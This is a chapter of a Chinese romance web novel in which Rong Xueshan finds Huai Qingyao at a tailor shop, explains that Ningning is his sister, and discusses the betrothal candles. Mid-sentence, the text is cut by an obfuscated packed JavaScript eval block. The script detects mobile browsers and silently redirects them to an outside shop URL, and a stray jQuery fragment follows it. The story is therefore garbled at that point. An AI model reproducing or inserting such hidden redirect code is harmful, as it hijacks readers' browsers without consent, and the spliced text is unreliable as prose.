近日书院休沐,戴夫子生了场病,估计要再过两日才能转还过来,这三日都要留在家中温书。

    昨晚要送给曹川阳的那两只红烛被容雪杉拿回来了,正在堂屋里放着,边角磕碰了,还被淮青瑶捏了个坑,大抵是用不了了。

    一夜无眠,容雪杉早早起床,眼睛频频看向卧房那扇门,平日里这个时候,她早就该起了,今日快到正午,屋子里却没有任何动静。

    容雪杉站在屋外,他想同青瑶解释昨日的孟浪之举,可不知从何说起,他思索片刻,还是走上前轻叩房门。

    门是开着的,顺着力道滑开一条缝,容雪杉望进去,却发现屋内空无一人,柜子上的书本、账册,全部收拾干净带走,只有床榻上卷成一团的被褥,证明她昨夜人就是睡在这里的。

    明明在心里预演过无数遍,知道她今日大概率是不会理睬自己了,可她这样一走了之的行径,还是刺痛到了容雪杉。

    昨日早上出门的时候还笑盈盈地同他说话,才一日的工夫,怎么就变了态度。

    对他又踢又踩的不说,甚至要将红烛送给曹川阳,究竟是哪里出了差错?

    容雪杉舔舔唇上那道破口,今日已经结了暗色的疤,在唇上格外显眼。

    能回想起昨夜她打过来的一巴掌,以及那个带着淡淡茉莉花香的吻。

    痛吗?肯定是痛的。

    但她的掌心是热的,她的牙是尖的,她的唇是软的,吻到最后连身子也一道软了下去,容雪杉好意托住她要颓倒的身,她却存了坏心恶狠狠咬破他,血液漫在口中,神志清醒了,明知这样有违君子道义,可他还是忍不住。

    疯了一般想吻她,直到她眼中只有自己。

    唇舌只能与自己交缠。

    容雪杉垂下眼眸,自我反省,他不该那样做的,明明长了嘴巴,想知道为什么把东西给别人,好好问她就是,偏偏嫉妒心作祟,不由分说地吻,这回人都被吓跑了,误会更大。

    先甜后苦果然不行。

    容宁宁从屋中跑出来,沉默地盯了哥哥半晌,挠挠头,指了指自己的嘴巴,再扬起小脸,指指容雪杉的嘴,黑葡萄似的大眼里满是疑惑。

    看着眼前比自己小那么多的妹妹,容雪杉好似突然反应过来了,昨日村长送容宁宁回来的时辰,正好也是淮青瑶平日回家的时间,按理来说两人应该是碰上了。

    可是容宁宁到了,她却没回家,是不是因为听到了什么,或者是看到了什么,因此误会了他和容宁宁的关系,所以才不愿回家,甚至用那样决绝愤恨的眼神看向他。

    这事是他做的不对,就算容宁宁已经被人收养,他也应当将此事一五一十地告诉青瑶,叫她安心才是,如果他早些就说了,今日断不会闹出此等天大的误会来。

    容雪杉心里七上八下的,安顿好容宁宁之后,他急匆匆出了门,寄希望于她只是去了裁缝铺上工,而不是抛下自己一走了之了。

    裁缝铺中。

    容雪杉环视一圈,并未看见青瑶人影,只能委婉向掌柜的打听。

    淮家大小姐在城西的事情,鲜少有人知晓,为了回淮府,便串通好了裁缝铺的掌柜,让她陪自己做戏打掩护,这诺大的裁缝铺,也只有掌柜的知道淮青瑶是东家,因此也认得容雪杉。

    淮青瑶当然在裁缝铺中,今日一大早她就蹑手蹑脚地出了门,生怕发出半点动静让容雪杉听见,在天亮之前就赶来了铺中,只是脸色不大好看,掌柜的也无法判断她是否想见容雪杉,只能笑着搪塞,回了一句不知道。

    容雪杉还想追问两句,便见一位极其眼熟的婢女从后院出来,附在掌柜耳边轻声说了几句话,见她们有事,容雪杉也不好打扰,只能站在一旁等待。

    他记忆力极好,认出这婢女貌似是之前重阳节在寺庙中,站在那位戴白狐玉佩小姐身边的,自己曾在这家裁缝铺中也见过她一回。

    她说完话,径直离开了,他刚想再开口询问一番有关青瑶的去向,却见掌柜的往后院走去,转过来朝他说:“过来吧。”

    他不明所以,跟上前,心中隐隐有了猜测,“青瑶在这里吗?”

    掌柜的点点头,向他指了一间屋子,开口说:东……”眼见容雪杉用狐疑的眼神看着她,紧急改口道:“青瑶姑娘身子不舒服,我便让她在房中歇息片刻,你自进去找她吧。”

    容雪杉点头道谢,上前几步,扣响了房门,屋内传来青瑶的声音,“进。”

    听不出喜怒,容雪杉推门走进,考虑到男女大防,他开了半扇屋门,没有完全合上,却听那道声音隔着屏风传来,“早间风凉,吹得人直发冷,快将门关上。”

    听到她说冷,容雪杉赶忙关紧了房门,后院内静悄悄的,一个人影也无,他开着半扇门,实在此地无银三百两。

    关好了门,他手心已出了一层薄汗,透过屏风,能隐约看见那个身影,正端坐在桌案前,慢条斯理梳着鬓发,屋内传来东西落地的声音,很轻,像是什么动物赤足在地上行走。

    忽然间从屏风后探出一个毛茸茸的狐狸脑袋来,轻嗅两下,才缓慢靠近容雪杉,得知青瑶和宝儿都在此,他心里松了一口气,蹲下身,抱起小狐狸,绕过屏风,朝淮青瑶走去。

    她一袭碧衫,正对镜梳妆,往耳朵上穿入一对银白的珍珠耳铛,三千青丝散落在肩头,似是刚刚起床的模样,他前进的步子顿住了,却听淮青瑶说:“亲都亲过了,郎君还要在意这个吗?”

    容雪杉紧了紧手,她不像是生气,语调似乎也与平常别无二致,仍是那样调笑他,话里话外却多了一层疏离,甚至还叫他郎君,这是他们未通姓名时叫的,往日里,她不是喊自己姓名,便是笑着唤他哥哥,从未像今日这般令人感到陌生。

    看来她当真是误会了,不想同他成亲了,所以也不叫他哥哥了。

    容雪杉先挑要紧的向她解释,“我幼时村子遭了洪灾,全家只有我与妹妹活了下来,妹妹年岁尚小,受了惊吓之后口不能言,我才将她托付给了一户农家,昨日她突然跑来找我,我也是措手不及,此事没有事先告知你,是我不对。”

    挽翠刚刚同淮青瑶讲过此事,只因容雪杉是后面才来的雁南郡,从前的事不便探听,这才疏漏了,一早上就去重新探过,跑来裁缝铺回禀淮青瑶:妹妹是他的亲妹妹,叫做容宁宁,父母老来得子,生下了她,因此两人年岁相差颇大。

    可是淮青瑶脾气也发了,还不声不响地跑出来,明明是自己错怪他了,一时半会也不好拉下脸面,只能不咸不淡地嗯了一句,却还是背对着,不肯转过头看他。

    见青瑶毫无反应,容雪杉心中着急,“抱歉,我昨夜不该那样对你,我们还没有成亲,是我逾矩了,可见你将那双红烛递给曹川阳,我心中实在灼痛,一时克制不住,要打要罚都悉听尊便,哪怕是要我去浸猪笼……”

    “好了,”淮青瑶一脸埋怨地转过身来,打断他的剖白。

    他昨夜吻得那样用力,今日淮青瑶嘴唇还隐隐作痛,早上吃个粥都被烫了几回,不得安生,究竟是谁的脸皮更厚,他竟还好意思提这个?

    淮青瑶舔了舔发痛的唇,抬眸看到容雪杉唇上新结的痂,想起自己昨夜那样用力地咬他,便也不觉得吃亏,算是扯平。

    房中安静,只有宝儿不停甩动的尾巴发出些声响,两人都兀自盯着对方的唇看看,昨夜那种奇异的感觉又漫了上来,淮青瑶感觉自己舌根处麻麻的,只好赶紧移开视线,讷讷道:“那截红烛不是要给曹川阳的。”

    容雪杉听了,眼神立即亮了几分。

    他就知道,定是曹川阳说了什么话,诱骗青瑶将红烛给他,并不是青瑶主动给的,那是不是说明她还是想和自己成亲,没有别人,只有他。

    可淮青瑶下一句话又让他瞪大了眼睛。

    “我是想叫他帮

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579801|204020||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    忙拿去扔掉,谁承想你刚好来了。”

    明明是笑着的,却一副要吃人的表情,夜里又黑,手中的灯笼从底下照到脸上,她当时都被吓了一跳。

    “扔掉,为何要扔掉?”容雪杉急声发问,往前走近两步。

    没想到不小心把本意说出来了,淮青瑶只好撒谎说:“我不小心在上面捏了个坑,担心不吉利,所以才喊他去丢掉。”

    容雪杉松了口气,“原来是这样,那也无妨,我再重新寻人做就是了,雁南郡的订婚习俗我已知晓,这本该就是我分内之事,之前一直都是你在做,今后便交由我来。”

    淮青瑶梳发的手顿住了。

    他这是同意要与自己结亲的意思了吗?可是听他的话,好像是最近几日才知晓雁南的订婚习俗,难怪之前他还总是一副呆呆的样子,明明说要认她作妹妹,却一点也不肯亲近。

    可是目的达到了,淮青瑶心里却不觉得开心,这场游戏本就是她临时起意,又怎么可能真的与他结亲,倘若结亲了,祖母那处又该如何交代。

    更何况她现下心烦得很,像是一团乱糟糟的毛线紧紧缠在一起,不知道该怎么理顺。

    她确实喜欢书生这张俊俏的脸,也喜欢看他平时被自己逗弄后红红的耳根,可昨夜那个吻之后,形势好像发生了转变,淮青瑶实在招架不住这样的容雪杉。

    她想冷静几天,定亲红烛的制作周期长,他想做,那便让他去做吧。

    后院皆是女客,容雪杉不方便待在此处,话还没说完,掌柜的就将他请了出去。

    过了一炷香的时辰,淮青瑶梳好妆,前去铺子里招呼客人,只是面上覆了层白纱,看不清脸上神色。

    容雪杉一脸踌躇地站在店外。

    虽然两人之间好似将误会解除了,但是青瑶对他却不如从前热络,方才也没说是否同他回家,难道自己还要像昨夜一样……再抱她回去吗?

    这怎么行。

    容雪杉在心里否决掉这个行为。

    他不能再行逾矩之事了,要像从前一样,以礼相待,这样青瑶才会继续喜欢他。

    客人愈发多了,淮青瑶和掌柜的在柜面后算账,眼睛却一直望向店门口那抹身影。

    经过好几个年轻姑娘,一边打量着容雪杉,一边捂着嘴说说笑笑,走进裁缝铺,逛了一圈之后,仍就是打量着容雪杉,偷偷看他几眼,便离开了铺子,同样的人来了好几波,依旧是只逛不买,眼睛粘在店外的容雪杉身上,还不小心撞到了正在挑料子的客人。

    掌柜的出面处理纠纷,回来后,悄悄看淮青瑶的脸色,问她:“是否要将容郎君请走?”

    淮青瑶压下心里那股劲,捏着毛笔的手在账册上画了一个大大的叉,开口道:“不用,人家又没站在店里,外头的街道上谁都能站,不用管他,没有真的妨碍到我们的生意。”

    掌柜的说:“是。”

    突然淮青瑶看见容雪杉不知从哪摸出了一个帷帽,看样子像是之前秋社的时候,他给她试戴的那一顶。

    容雪杉又往外边走了几步,将帷帽戴在了头上,转过身来看向店里柜台的位置。

    淮青瑶不知自己在心慌什么,赶紧低下了头,避免与他对视,却看见了自己刚才挂在账簿上的那个叉,又蘸了些墨汁,将它涂黑。

    她不免开始胡思乱想,他救下自己,是因为有个妹妹的缘故吗?常年不在妹妹身边,所以将那份爱都投射给她了,那他究竟是出于责任要与她结亲,还是因为真正喜欢上她了。

    还有那个吻,他到底是什么意思,为何什么也不说,偏要她猜。

    抬起头来时,却发现容雪杉好似还在望着自己。

    透过那层薄薄的帷帽,想来应该是看不太清的,淮青瑶没低头,满目狐疑地同样回望着他。

    这一招确有奇效,店里的客人开始恢复正常,但淮青瑶的心却怎么都静不下来了。